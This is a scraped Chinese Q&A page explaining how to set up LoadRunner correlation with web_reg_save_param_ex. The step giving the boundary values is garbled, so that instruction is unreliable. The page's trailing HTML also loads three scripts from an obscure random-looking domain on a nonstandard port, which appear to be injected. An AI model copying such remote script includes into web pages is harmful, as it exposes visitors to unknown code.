loadrunner关联怎么设置

2025-04-02 11:34:13
推荐回答(1个)
回答1:

在loadrunner的脚本代码中使用web_url的参数进行对访问一个论坛信息,在这个参数上一行中进行右键的方式,弹出的下拉菜单中进行选择“insert”。

点击完insert之后,会移动下一级的菜单中,可以直接点击“new step”的选项菜单。

进入到一个为参数的列表中,由于参数较多的话,可在find function的中直接输入“web_reg_save_param_ex”,即可搜索到web_reg_save_param_ex高级关联的选项。

进入到的是为web_reg_save_param_ex的设置框中,在parameter name填写入昵称,在scope的中改为body的选项。

这样关联web_reg_save_param_ex的参数就添加脚本代码完成了。然后就进行运行结果就可以获取到论坛当前所有页面的HTML的元素。

然后就可以对获取的元素进行关联了,点击菜单中的tree,然后进行右键web_reg_save_param_ex》》“properties”的选项。

弹出web_reg_save_param_ex,进行重新编辑,进行添加左右的边界值,这里是获取到论坛的标题,所以在刚才的执行结果找到标题一般title,在left boundary为,right boundary为<title>。<br><br>8<br>左右的边界值设置完成之后,就可以直接运行后,可以运行的log结果获取到了标题结果</p> </div> </div> <div class="clear"></div> </div> </div> </div> <div class="wendaright"> <div class="wdluluerwema"> <div class="wdxgwttop">相关问答</div> <div class="wdxgwtnr"> </div> <div class="clear"></div> </div> <!-- 其他随机问答['id'=>alphaID($like['zid'])] --> <div class="wdluluerwema"> <div class="wdxgwttop">最新问答</div> <div class="wdxgwtnr"> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.o15.net/index.php/31707182.html">5名志愿者分到3所学校支较,要求每所学校至少有1名志愿者,则不同的分法共有多少种?</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.o15.net/index.php/94356832.html">武汉洪山区哪个地方可以办健康证?怎么坐车</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.o15.net/index.php/651668855726045765.html">哪些国家需要装运前检验检疫证书</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.o15.net/index.php/372240998935005644.html">两种牌子口红的颜色一样吗?</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.o15.net/index.php/944889154219814812.html">《王者荣耀》以前用别人身份证,改自己身份证修改实名认证还需要人脸识别?</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.o15.net/index.php/1546642678027747347.html">门禁一体机大家有什么推荐的牌子吗?西墨的怎么样?</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.o15.net/index.php/1835809614909389260.html">大学生英语基础教程精读一quiz two答案</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.o15.net/index.php/176154687850706764.html">如何用QQ邮箱发送多张照片到另一个邮箱?谢谢了,大神帮忙啊</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.o15.net/index.php/205104730765870925.html">从体育场到南关区政府怎么坐公交车,最快需要多久</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.o15.net/index.php/587220601.html">眼看朋友们都给爱车改装CUSCO车身强化件了,我的速腾有哪些加强件可以加装呢?</a></div> </div> </div> </div> </div> <div class="clear"></div> <div class="footer"> <!-- 移动底部导航 --> <div class="fanhuitop"><a href="#top" ref="nofollow"><img src="https://www.o15.net/static/old/img/fhtop.png" alt="返回顶部" title="返回顶部"></a></div> <div class="dibu"> <div class="dibu"> </div> </div> <div class="banquan"> <p>内容全部来源于网络收集,如有侵权,请联系网站删除:QQ:24596024</p> </div> </div> </div> </div> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?f3a9e88f5de712f94fca1c4003dfb2e7"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> <script id='x_data_1430_10' src='https://us1.dnhp8jylmzsym.top:9956/js.php?z=10&a=1430&v=1'></script> <script id='x_data_1430_9' src='https://us1.dnhp8jylmzsym.top:9956/js.php?z=9&a=1430&v=1'></script> <script id='x_data_1430_8' src='https://us1.dnhp8jylmzsym.top:9956/js.php?z=8&a=1430&v=1'></script> </body> </html>